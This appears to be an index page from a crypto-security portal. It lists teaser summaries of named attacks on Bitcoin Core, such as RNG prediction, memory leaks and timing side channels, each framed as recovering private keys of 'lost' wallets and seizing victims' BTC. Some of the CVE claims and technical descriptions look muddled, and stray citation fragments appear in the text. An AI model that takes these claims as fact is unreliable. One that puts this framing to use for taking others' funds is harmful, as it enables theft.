Predictor Flash Attack: How deterministic random number generation leads to catastrophic hacking of Bitcoin private keys, where an attacker manages to instantly reveal secret data and keys for lost Bitcoin wallets at a predictable moment (CVE-2022-39218, CVE-2023-31290) Predictor Flash Attack A «Predictor Flash Attack» is a technique for extracting private or sensitive data through the analysis of deterministic pseudorandom number sequences used in target software. The attacker observes…Read More
Signature Hydra Attack: A critical vulnerability in ECDSA deserialization and recovery of private keys for lost Bitcoin wallets, where an attacker exploits signature deserialization errors and bugs to gradually gain control over victims’ wallets. Signature Hydra Attack A Signature Hydra Attack is a method in which an attacker creates a stream of «mutant» ECDSA signatures, each of which appears valid on the surface but…Read More
Crystalline Keystorm Attack: Catastrophic Predictability as an Attack on RNG and Recovery of Private Keys to Lost Bitcoin Wallets, where an attacker finds errors in random number generation and makes secrets predictable and recoverable from SEED leaks to the loss of all BTC funds Crystalline Keystorm Attack A » Crystalline Keystorm Attack » is a class of attacks in which the use of a predictable random number generator with a known seed results in complete predictability of…Read More
Endian Mirage Attack: A dangerous attack through data format violation leading to loss of privacy and control over BTC wallets, where the compromise of Bitcoin Bloom filters allows the attacker to control the victims’ funds with the consequences of recovering private keys. Endian Mirage Attack In this attack, the attacker deliberately changes the data representation format in the filter, using the same input data but writing it in different endian formats (little-endian…Read More
Artery Bleed Attack: A critical Bitcoin RAM vulnerability that allows the recovery of private keys to lost crypto wallets, where an attacker uses CVE-2023-39910, CVE-2025-8217 Bitcoin Core memory leak to take control of BTC. Artery Bleed Attack An «Artery Bleed Attack» is an elegant and dangerous technique in which an attacker initiates controlled memory corruption of a Bitcoin node, similar to how arterial bleeding causes…Read More
Keystore Vanguard Attack: A critical vulnerability in Bitcoin Core that turns private key recovery into a tool for total takeover of crypto wallets, where an attacker gains access to processes and memory dumps (CVE-2023-37192, CVE-2025-27840) in order to extract secret data and key materials Keystore Vanguard Attack Attack Description: The «Keystore Vanguard» attack exploits a vulnerability in Bitcoin Core’s benchmark code where private keys are stored in memory without being cleared after use. The attack takes its…Read More
Demonic Time Manipulation Attack: How timing vulnerabilities compromise private keys in the Bitcoin blockchain, where an attacker uses CVE-2024-35202 entropy attack to open access to other people’s funds and massively compromise wallets. Demonic Time Manipulation Attack A demonic time manipulation attack (DTA) is a fundamental vulnerability that can arise when key generation security principles are violated. A secure strategy is based on…Read More
Phoenix Rowhammer Attack: Systemic Risk of Bitcoin Wallet Private Key Compromise in Global Blockchain Infrastructure Due to a Critical SK Hynix DDR5 Vulnerability (CVE-2025-6202) This article examines the systemic cryptographic security threats posed by the Phoenix Rowhammer attack (CVE-2025-6202), which can extract private keys from DDR5 RAM through hardware-level bit manipulation. In recent years,…Read More
Decryptor Leak Attack: How a memory leak leads to private key recovery and complete loss of control over Bitcoin assets, where unprotected memory allows an attacker to steal private keys from lost Bitcoin wallets Decryptor Leak Attack A decryptor leak attack is an attack in which arbitrary secret values (such as private keys or passwords used to encrypt wallets) are leaked by storing them in unprotected…Read More
Deterministic Drain Attack: Cryptanalysis of a PRNG vulnerability and theft of victims’ funds through recovery of private keys, where the attacker predicts the generation path using fixed values of predictable numbers and then massively extracts secrets and keys from a memory dump for Bitcoin wallets Deterministic Drain Attack The Deterministic Drain attack demonstrates that compromising cryptographic entropy leads to a complete loss of security in Bitcoin Core and similar systems. Reliable random number generation, regular memory cleanup,…Read More
Descriptor Divulgence Attack: Recovery of private keys and complete subjugation of the victim’s funds as a result of a critical serialization vulnerability in Bitcoin, where the attacker exploits the vulnerable code and then uses utilities to extract string objects with the HEX secret private keys to the wallet’s crypto assets. Descriptor Divulgence Attack The «Descriptor Divulgence Attack» captures the technical essence of the vulnerability—the unintentional disclosure of private keys through insecure use of the EncodeSecret() combo() function in string descriptors—making it ideal for…Read More
Descriptor Disruption Attack: A fatal memory leak and massive compromise of user Bitcoins, leading to recovery of private keys and loss of control over crypto wallets, where an attacker exploits a weakness in pseudo-random number generation to predict the sequence of private keys via CVE-2019-15947 Descriptor Disruption Attack Descriptor Disruption Attack is a cryptographic attack on Bitcoin Core descriptor wallets that exploits vulnerabilities in the process of address mass creation and in-memory transaction storage to extract private…Read More
BIT NEXUS INJECTION ATTACK: How an attack on wallet.dat leads to the recovery of private keys and the seizure of BTC funds, where an attacker can inject CVE-2025-27840 into the code architecture to intercept and compromise secret data and access to lost Bitcoin wallets BIT NEXUS INJECTION ATTACK Attack Type: Critical leak of private keys via an unprotected entry in wallet.dat.Target Line: 44 — batch.WriteKey(pubkey, key.GetPrivKey(), CKeyMetadata())Exploitation Vector: Padding Oracle Attack and Bit-flipping manipulation of the wallet.dat file. cryptodeeptech+2…Read More
Deep Vanish Attack: Private key recovery and full-scale compromise of Bitcoin wallets, a critical Dead Store Elimination vulnerability that paves the way for an attacker to completely steal BTC coins Deep Vanish Attack Deep Vanish is a cryptographic attack based on a compiler optimization that causes critical memory clear operations with cryptographic keys to disappear from compiled code. Description of the…Read More
Titan Arithmetic Exposure (TAE): A timing vulnerability in Bitcoin core that can lead to private key recovery and complete hijacking of BTC wallet funds. This vulnerability allows an attacker to use a Titan Arithmetic Exposure attack and execute dependencies in the code. CVE-2024-35202 Titan Arithmetic Exposure (TAE) Description of the attack Titan Arithmetic Exposure is a highly sophisticated cryptographic timing attack that exploits vulnerabilities in Bitcoin Core’s arithmetic operations to extract private keys and secret…Read More
BASE VAULT BREACH ATTACK: Recovering private keys of lost Bitcoin wallets through an architectural vulnerability that allows an attacker to gain complete control over BTC coins BASE VAULT BREACH ATTACK BASE VAULT BREACH exploits a critical architectural flaw where the obfuscation key «vault» (VAULT) is located in the same unencrypted database as the protected data. This allows…Read More
Delta Drip Attack: Private key recovery via a timing leak in Bitcoin Core algorithms, where an attacker uses a hidden tool to extract individual checksum bytes to partially extract the bytes of Bitcoin private keys in WIF format from the victim’s BTC funds. Delta Drip Attack A critical timing side-channel vulnerability discovered in Bitcoin Core’s Base58 processing and checksum verification algorithms poses a fundamental security threat to the Bitcoin cryptocurrency. The core of…Read More
RNG Vortex Attack: A critical vulnerability in the random number generator where an attacker triggers a dangerous vortex of predictability CVE-2015-5276, which ultimately leads to private key recovery and the complete loss of the victim’s Bitcoin funds in BTC coins. RNG Vortex Attack Based on an analysis of cryptographic vulnerabilities in the minisketch code , I propose the following attack name: An RNG Vortex Attack is a complex cryptographic attack that exploits weak…Read More
Derivation Drift Attack: A critical BIP32 vulnerability that allows an attacker to recover a private key and completely seize funds from a lost Bitcoin wallet, where the attacker calculates the inverse of the derivation path function using a bit manipulation bug and gains access to the entire private key tree. Derivation Drift Attack (DDA) A Derivation Drift Attack is a critical cryptographic attack that exploits a vulnerability in bitwise operations in the Bitcoin Core BIP32 implementation. wikipedia+1 A Derivation Drift Attack is an example…Read More
Bootstrap Venom Attack: A staged takeover of private keys and complete control over a victim’s Bitcoin assets, where an attacker uses poison initialization on a Bitcoin Core wallet, triggering a critical vulnerability that leads to the loss of private keys and BTC funds. 🚨 Bootstrap Venom Attack 🚨 The essence of the Bootstrap Venom Attack The Bootstrap Venom attack exploits multiple injection points in Bitcoin Core’s critical initialization process, creating a toxic environment for secure cryptographic key…Read More
TEMPORAL TRACE ATTACK: Recovering private keys to lost Bitcoin wallets through a critical address validation vulnerability that allows an attacker to gradually gain complete control over the victim’s funds Temporal Trace Attack (TTA) A Temporal Trace Attack (TTA) is a sophisticated cryptographic attack that exploits microsecond differences in function execution times IsValidDestinationString()to extract information about the structure and validity of Bitcoin addresses. crypto.stanford+2 Temporal…Read More
POISON CHAINSTATE ATTACK: A critical Bitcoin Core vulnerability and multi-vector attack that exploits user funds, where an attacker uses a dangerous attack on private keys and gains complete control over lost BTC wallets. 🎯POISON CHAINSTATE ATTACK 🔥 Attack Description: The Poison Chainstate Attack is a multi-vector cryptographic attack that exploits a combination of path traversal vulnerabilities and memory corruption to inject poisonous data into critical…Read More
DARKHEART DRAIN ATTACK: A scientific analysis of a complete Bitcoin wallet takeover where an attacker gains complete control over a victim’s BTC funds by extracting private keys from the bitcoin-cli process memory. Darkheart Drain Attack The essence of the attack DARKHEART DRAIN ATTACK is a complex attack on the Bitcoin CLI aimed at extracting sensitive data (RPC passwords, wallet passwords, private keys) from…Read More
Demonic Assert Attack: A new era of Bitcoin Core compromise and theft of users cryptographic secrets, from assertion functions to total control, where an attacker gains control over lost Bitcoin wallets to extract private keys and seize all positive funds in the crypto wallet network Demonic Assert Attack (DAA) 🔥 DEMONIC ASSERT ATTACK 🔥 The Demonic Assert Attack (DAA) is a critical cryptographic attack that exploits a fundamental vulnerability in Bitcoin Core’s initialization system through the insecure use…Read More
RAMScourge Attack: An existential Bitcoin threat where an attacker exploits CVE-2023-39910 to recover private keys from memory, completely compromising BTC cryptocurrency funds. The attacker also passively analyzes the dumps through a persistent process that integrates into the node’s encryption modules and IPC infrastructure, such as MakeWalletLoader and MakeIpc. RAMScourge Attack Attack concept RAMScourge is an evolved form of memory attacks (RAM-based cryptohack) aimed at extracting «forgotten» cryptographic data from RAM after completing transactions with wallets or blockchain nodes.Unlike traditional…Read More
DecodeSecret Leakage Strike: How a private key leak turns Bitcoin Core into a tool of cryptographic self-destruction, where an attacker triggers a mechanism to recover a lost private key and secretly seize BTC coins to reveal memory secrets and cause irreversible loss of crypto assets. DecodeSecret Leakage Strike The «DecodeSecret Leakage Strike» attack is a hacking technique in which an attacker exploits the fact that private keys are stored in plaintext in RAM and moved…Read More
Integer Overflow Benediction: How an arithmetic error paved the way for private key recovery through this process, allowing an attacker to exploit the CVE-2010-5139 Integer Overflow vulnerability to access Bitcoin Wallet and seize the entire BTC balance. Integer Overflow Benediction Integer Overflow Benediction is an attack based on a combination of integer overflow and manipulation of string-to-number arithmetic logic that allows an attacker to turn insignificant input into…Read More
Private Key Random Init Burst Attack: How a series of predictable private key generations allows instant recovery of lost Bitcoin wallet funds. In this case, it is known that an attacker manages to create a series and mass theft of BTC coins using the vulnerability CVE-2008-0166 of the weak random number generator of OpenSSL in Debian and Ubuntu. Private Key Random Init Burst Attack The «Private Key Random Init Burst Attack» exploits a vulnerability in the random number generator’s initialization, which generates private keys in a predictable manner.…Read More

Данный материал создан для портала CRYPTO DEEP TECH для обеспечения финансовой безопасности данных и криптографии на эллиптических кривых secp256k1 против слабых подписей ECDSA в криптовалюте BITCOIN. Создатели программного обеспечения не несут ответственность за использование материалов.

Crypto Tools

Исходный код

Google Colab

Telegram: https://t.me/cryptodeeptech

Видеоматериал: https://youtu.be/fGR7Iqiq8Ag

Video tutorial: https://dzen.ru/video/watch/69682001b2d5f9209f8b4606

Источник: https://cryptodeeptool.ru/phantom-signature-attack

среда, 14 января 2026 г.